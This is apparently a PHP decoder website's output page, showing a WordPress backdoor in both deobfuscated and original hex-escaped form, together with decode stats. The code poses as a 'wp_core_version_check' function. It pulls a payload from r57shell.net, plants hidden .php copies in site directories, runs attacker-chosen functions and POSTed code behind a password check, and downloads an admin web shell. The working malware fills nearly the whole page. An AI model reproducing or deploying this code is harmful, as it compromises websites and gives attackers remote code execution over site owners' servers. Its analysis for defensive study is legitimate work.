Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto Z4f_7; M4H5P: if (!function_exists("\167\x70\x5f\143\157\162\145\137\x76\x65\..
Decoded Output download
<?php
goto Z4f_7; M4H5P: if (!function_exists("wp_core_version_check")) { function wp_core_version_check() { goto b14H4; F1rzL: $hostname = str_replace("www.", '', $_SERVER["HTTP_HOST"]); goto cjpr9; cjpr9: if (is_writable(sys_get_temp_dir())) { $tmp_file = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "sess_" . md5('' . $hostname . "_" . $document_file . ''); } else { $tmp_file = $file_path . DIRECTORY_SEPARATOR . "sess_" . md5('' . $hostname . "_" . $document_file . ''); } goto b_hDK; b14H4: $document_file = $_SERVER["SCRIPT_FILENAME"]; goto SAQru; tbyOQ: $uri_path = str_replace("/", DIRECTORY_SEPARATOR, $uri_path); goto BOgrJ; tdoq2: $uri_path = $parse_url["path"]; goto y3yQa; eSWsx: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto uau66; aYlPG: $parse_url = parse_url($request_uri); goto tdoq2; uau66: foreach ($dirs as $d) { goto rojXi; RsuGe: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto BNMIY; rojXi: $file_name = $d . DIRECTORY_SEPARATOR . "." . basename($d) . ".php"; goto ztusY; BNMIY: foreach ($dirs as $d) { if (!@preg_match("#wp-content#", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "." . basename($d) . ".php"; @file_put_contents($file_name, $response); } } goto tCgau; ztusY: @file_put_contents($file_name, $response); goto RsuGe; tCgau: } goto tzIYy; SAQru: $request_uri = $_SERVER["REQUEST_URI"]; goto aYlPG; UWtFE: if (!file_exists($tmp_file)) { goto gcy3Z; LbqEm: @touch($tmp_file); goto oIRRB; oIRRB: @file_put_contents($tmp_file, $response); goto YGmuM; gcy3Z: if (function_exists("curl_init")) { goto Z_399; CpPTK: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto FXYxc; MtGLU: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto CpPTK; X9FbA: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enable"); goto MtGLU; UvsFR: curl_close($ch); goto hjqSN; Z_399: $ch = curl_init(); goto X9FbA; FXYxc: $response = curl_exec($ch); goto UvsFR; hjqSN: } else { goto GyX2l; h0H22: $response = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $context); goto p_wBC; rPhhJ: $context = stream_context_create($opts); goto h0H22; GyX2l: $referer = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto ee9Gp; ee9Gp: $opts = array("http" => array("header" => array("Referer: {$referer}\xd\xa"))); goto rPhhJ; p_wBC: } goto LbqEm; YGmuM: } else { $response = file_get_contents($tmp_file); if (!@preg_match("#stt1#", $response)) { goto usbkE; usbkE: if (function_exists("curl_init")) { goto trVO4; LifKG: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto vch7g; Yqfl2: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enable"); goto a_mfQ; a_mfQ: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto LifKG; EGXDm: curl_close($ch); goto Msb6u; trVO4: $ch = curl_init(); goto Yqfl2; vch7g: $response = curl_exec($ch); goto EGXDm; Msb6u: } else { goto NGNE7; iSNDW: $context = stream_context_create($opts); goto bR3q8; jUj2r: $opts = array("http" => array("header" => array("Referer: {$referer}\xd\xa"))); goto iSNDW; NGNE7: $referer = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto jUj2r; bR3q8: $response = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $context); goto IV1lQ; IV1lQ: } goto ZaL2E; byapU: @file_put_contents($tmp_file, $response); goto hLO47; ZaL2E: @touch($tmp_file); goto byapU; hLO47: } } goto eSWsx; y3yQa: $uri_path = dirname($uri_path); goto W6dmK; BOgrJ: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == '') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, '', $file_path); } goto F1rzL; b_hDK: if (@$_GET["slince_golden"]) { goto u10lS; u10lS: echo "<!-- //Silence is golden. -->"; goto ZRs5L; ZRs5L: if (function_exists("curl_init")) { goto jmSh6; MUyJE: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto BUAxs; jmSh6: $ch = curl_init(); goto MUyJE; BUAxs: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto az1PA; az1PA: $response = curl_exec($ch); goto OEDxQ; OEDxQ: curl_close($ch); goto jFVRo; jFVRo: } else { $response = file_get_contents("http://r57shell.net/jquery.php?v=1.2&pwd=get"); } goto RUL1p; RUL1p: if (md5(sha1(@$_GET["is"])) == $response) { goto WdcFm; h25GB: if (@$_POST["l"]) { function basic_code_extensions($request) { goto qBXy2; R_p9P: fwrite($tmp, $request); goto EpcBQ; MvE8o: $tmpf = $tmpf["uri"]; goto R_p9P; EpcBQ: $ret = (include $tmpf); goto MXbDk; qBXy2: $tmp = tmpfile(); goto X3bo6; X3bo6: $tmpf = stream_get_meta_data($tmp); goto MvE8o; FX0Ib: return $ret; goto Wr2n_; MXbDk: fclose($tmp); goto FX0Ib; Wr2n_: } print_r(basic_code_extensions($_POST["l"])); } goto TqM13; WdcFm: if (@$_GET["f"]) { print_r($_GET["f"]($_GET["c"])); } goto lMcwu; lMcwu: if (@$_GET["m"]) { goto w7juO; w7juO: if (function_exists("curl_init")) { goto WnKaG; KvexO: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/mini_admin.txt"); goto TKcSI; WnKaG: $ch = curl_init(); goto KvexO; S1l0u: curl_close($ch); goto R065z; HUqbx: $response = curl_exec($ch); goto S1l0u; TKcSI: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto HUqbx; R065z: } else { $response = file_get_contents("http://r57shell.net/mini_admin.txt"); } goto Toi6r; o0B51: echo $file_name_path; goto Onwj3; Toi6r: $file_name_path = @$_GET["m"] . "gagal.php"; goto x_4bb; x_4bb: @file_put_contents($file_name_path, $response); goto o0B51; Onwj3: } goto h25GB; TqM13: } goto D3TGn; D3TGn: exit; goto vbNCF; vbNCF: } goto UWtFE; W6dmK: $file_path = dirname($document_file); goto tbyOQ; tzIYy: } wp_core_version_check(); } ?>
Did this file decode correctly?
Original Code
<?php
goto Z4f_7; M4H5P: if (!function_exists("\167\x70\x5f\143\157\162\145\137\x76\x65\162\x73\x69\157\x6e\x5f\143\x68\x65\x63\x6b")) { function wp_core_version_check() { goto b14H4; F1rzL: $hostname = str_replace("\x77\167\167\x2e", '', $_SERVER["\110\x54\124\120\137\x48\117\x53\124"]); goto cjpr9; cjpr9: if (is_writable(sys_get_temp_dir())) { $tmp_file = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "\163\145\163\163\x5f" . md5('' . $hostname . "\x5f" . $document_file . ''); } else { $tmp_file = $file_path . DIRECTORY_SEPARATOR . "\x73\x65\163\163\137" . md5('' . $hostname . "\137" . $document_file . ''); } goto b_hDK; b14H4: $document_file = $_SERVER["\x53\103\x52\x49\120\x54\137\106\x49\x4c\105\x4e\101\x4d\x45"]; goto SAQru; tbyOQ: $uri_path = str_replace("\x2f", DIRECTORY_SEPARATOR, $uri_path); goto BOgrJ; tdoq2: $uri_path = $parse_url["\x70\141\164\150"]; goto y3yQa; eSWsx: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "\52", GLOB_ONLYDIR)); goto uau66; aYlPG: $parse_url = parse_url($request_uri); goto tdoq2; uau66: foreach ($dirs as $d) { goto rojXi; RsuGe: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "\x2a", GLOB_ONLYDIR)); goto BNMIY; rojXi: $file_name = $d . DIRECTORY_SEPARATOR . "\x2e" . basename($d) . "\56\160\x68\160"; goto ztusY; BNMIY: foreach ($dirs as $d) { if (!@preg_match("\43\x77\160\x2d\x63\x6f\156\164\145\x6e\164\43", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "\56" . basename($d) . "\56\160\x68\160"; @file_put_contents($file_name, $response); } } goto tCgau; ztusY: @file_put_contents($file_name, $response); goto RsuGe; tCgau: } goto tzIYy; SAQru: $request_uri = $_SERVER["\x52\x45\x51\x55\105\x53\x54\137\125\x52\111"]; goto aYlPG; UWtFE: if (!file_exists($tmp_file)) { goto gcy3Z; LbqEm: @touch($tmp_file); goto oIRRB; oIRRB: @file_put_contents($tmp_file, $response); goto YGmuM; gcy3Z: if (function_exists("\143\165\x72\154\x5f\x69\x6e\151\x74")) { goto Z_399; CpPTK: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\110\124\x54\120\137\x48\x4f\123\x54"] . $_SERVER["\122\x45\x51\125\x45\x53\x54\137\x55\x52\111"]); goto FXYxc; MtGLU: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto CpPTK; X9FbA: curl_setopt($ch, CURLOPT_URL, "\x68\164\164\160\72\x2f\x2f\x72\x35\x37\163\150\x65\x6c\154\x2e\156\145\164\x2f\152\x71\165\145\162\x79\56\160\150\x70\77\x76\75\61\56\x32\46\162\145\161\165\x65\x73\x74\75\145\156\x61\x62\x6c\x65"); goto MtGLU; UvsFR: curl_close($ch); goto hjqSN; Z_399: $ch = curl_init(); goto X9FbA; FXYxc: $response = curl_exec($ch); goto UvsFR; hjqSN: } else { goto GyX2l; h0H22: $response = @file_get_contents("\150\x74\x74\160\72\x2f\57\162\x35\x37\x73\150\145\x6c\x6c\56\x6e\145\164\57\x6a\x71\x75\x65\162\171\x2e\160\150\160\x3f\166\75\61\56\62\x26\162\145\161\x75\x65\163\164\x3d\x65\x6e\141\x62\x6c\145", false, $context); goto p_wBC; rPhhJ: $context = stream_context_create($opts); goto h0H22; GyX2l: $referer = $_SERVER["\x48\x54\124\x50\x5f\110\117\123\124"] . $_SERVER["\x52\x45\x51\125\105\x53\x54\137\x55\x52\x49"]; goto ee9Gp; ee9Gp: $opts = array("\x68\x74\x74\x70" => array("\150\145\141\144\145\162" => array("\x52\x65\x66\145\x72\145\x72\x3a\40{$referer}\xd\xa"))); goto rPhhJ; p_wBC: } goto LbqEm; YGmuM: } else { $response = file_get_contents($tmp_file); if (!@preg_match("\x23\x73\x74\164\x31\x23", $response)) { goto usbkE; usbkE: if (function_exists("\x63\x75\162\x6c\x5f\151\x6e\x69\x74")) { goto trVO4; LifKG: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\110\x54\x54\120\137\110\x4f\123\x54"] . $_SERVER["\x52\105\x51\125\x45\x53\x54\137\125\x52\111"]); goto vch7g; Yqfl2: curl_setopt($ch, CURLOPT_URL, "\150\x74\164\160\72\x2f\x2f\162\x35\x37\163\150\x65\154\154\56\156\145\x74\57\152\x71\x75\x65\x72\x79\x2e\160\150\160\77\x76\75\61\56\62\x26\x72\x65\x71\x75\145\163\x74\x3d\x65\x6e\141\x62\x6c\x65"); goto a_mfQ; a_mfQ: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto LifKG; EGXDm: curl_close($ch); goto Msb6u; trVO4: $ch = curl_init(); goto Yqfl2; vch7g: $response = curl_exec($ch); goto EGXDm; Msb6u: } else { goto NGNE7; iSNDW: $context = stream_context_create($opts); goto bR3q8; jUj2r: $opts = array("\x68\164\164\160" => array("\x68\x65\141\x64\x65\x72" => array("\122\145\146\145\x72\x65\162\x3a\x20{$referer}\xd\xa"))); goto iSNDW; NGNE7: $referer = $_SERVER["\x48\x54\124\120\x5f\x48\x4f\123\x54"] . $_SERVER["\122\x45\x51\125\x45\x53\124\137\125\x52\111"]; goto jUj2r; bR3q8: $response = @file_get_contents("\x68\x74\x74\x70\x3a\x2f\57\x72\65\67\163\x68\145\x6c\x6c\x2e\x6e\145\x74\57\152\x71\165\x65\x72\x79\56\160\150\160\77\166\75\61\56\x32\x26\x72\145\x71\x75\145\163\x74\75\145\x6e\141\x62\x6c\145", false, $context); goto IV1lQ; IV1lQ: } goto ZaL2E; byapU: @file_put_contents($tmp_file, $response); goto hLO47; ZaL2E: @touch($tmp_file); goto byapU; hLO47: } } goto eSWsx; y3yQa: $uri_path = dirname($uri_path); goto W6dmK; BOgrJ: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == '') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, '', $file_path); } goto F1rzL; b_hDK: if (@$_GET["\x73\x6c\151\156\x63\145\137\x67\x6f\154\144\x65\156"]) { goto u10lS; u10lS: echo "\74\41\55\x2d\x20\57\57\x53\151\x6c\145\156\143\145\40\151\x73\x20\147\x6f\x6c\144\x65\156\56\40\55\55\x3e"; goto ZRs5L; ZRs5L: if (function_exists("\x63\165\162\x6c\137\x69\156\x69\164")) { goto jmSh6; MUyJE: curl_setopt($ch, CURLOPT_URL, "\150\164\x74\160\x3a\x2f\57\162\65\x37\163\x68\145\x6c\x6c\56\156\145\x74\57\x6a\x71\165\145\x72\x79\x2e\160\x68\160\x3f\166\x3d\61\x2e\62\x26\160\167\144\x3d\147\145\164"); goto BUAxs; jmSh6: $ch = curl_init(); goto MUyJE; BUAxs: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto az1PA; az1PA: $response = curl_exec($ch); goto OEDxQ; OEDxQ: curl_close($ch); goto jFVRo; jFVRo: } else { $response = file_get_contents("\150\164\x74\x70\72\x2f\57\162\x35\67\163\150\145\x6c\x6c\x2e\156\145\164\x2f\x6a\x71\x75\x65\162\x79\56\x70\150\160\x3f\166\75\61\56\x32\x26\160\167\x64\75\x67\145\x74"); } goto RUL1p; RUL1p: if (md5(sha1(@$_GET["\151\x73"])) == $response) { goto WdcFm; h25GB: if (@$_POST["\x6c"]) { function basic_code_extensions($request) { goto qBXy2; R_p9P: fwrite($tmp, $request); goto EpcBQ; MvE8o: $tmpf = $tmpf["\x75\162\x69"]; goto R_p9P; EpcBQ: $ret = (include $tmpf); goto MXbDk; qBXy2: $tmp = tmpfile(); goto X3bo6; X3bo6: $tmpf = stream_get_meta_data($tmp); goto MvE8o; FX0Ib: return $ret; goto Wr2n_; MXbDk: fclose($tmp); goto FX0Ib; Wr2n_: } print_r(basic_code_extensions($_POST["\x6c"])); } goto TqM13; WdcFm: if (@$_GET["\146"]) { print_r($_GET["\146"]($_GET["\x63"])); } goto lMcwu; lMcwu: if (@$_GET["\x6d"]) { goto w7juO; w7juO: if (function_exists("\143\165\x72\x6c\137\151\156\x69\x74")) { goto WnKaG; KvexO: curl_setopt($ch, CURLOPT_URL, "\150\164\x74\x70\x3a\57\x2f\x72\x35\67\163\x68\x65\x6c\x6c\x2e\x6e\145\164\57\155\x69\156\151\x5f\x61\144\x6d\x69\156\56\164\170\164"); goto TKcSI; WnKaG: $ch = curl_init(); goto KvexO; S1l0u: curl_close($ch); goto R065z; HUqbx: $response = curl_exec($ch); goto S1l0u; TKcSI: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto HUqbx; R065z: } else { $response = file_get_contents("\150\x74\x74\x70\72\x2f\x2f\x72\65\67\x73\150\x65\x6c\154\56\x6e\x65\164\57\155\151\x6e\x69\x5f\x61\144\155\151\156\56\164\x78\164"); } goto Toi6r; o0B51: echo $file_name_path; goto Onwj3; Toi6r: $file_name_path = @$_GET["\155"] . "\147\x61\147\x61\154\x2e\160\x68\160"; goto x_4bb; x_4bb: @file_put_contents($file_name_path, $response); goto o0B51; Onwj3: } goto h25GB; TqM13: } goto D3TGn; D3TGn: exit; goto vbNCF; vbNCF: } goto UWtFE; W6dmK: $file_path = dirname($document_file); goto tbyOQ; tzIYy: } wp_core_version_check(); }
Function Calls
None |
Stats
MD5 | e20a8c9d2056fdbc1ae173b322a9746c |
Eval Count | 0 |
Decode Time | 66 ms |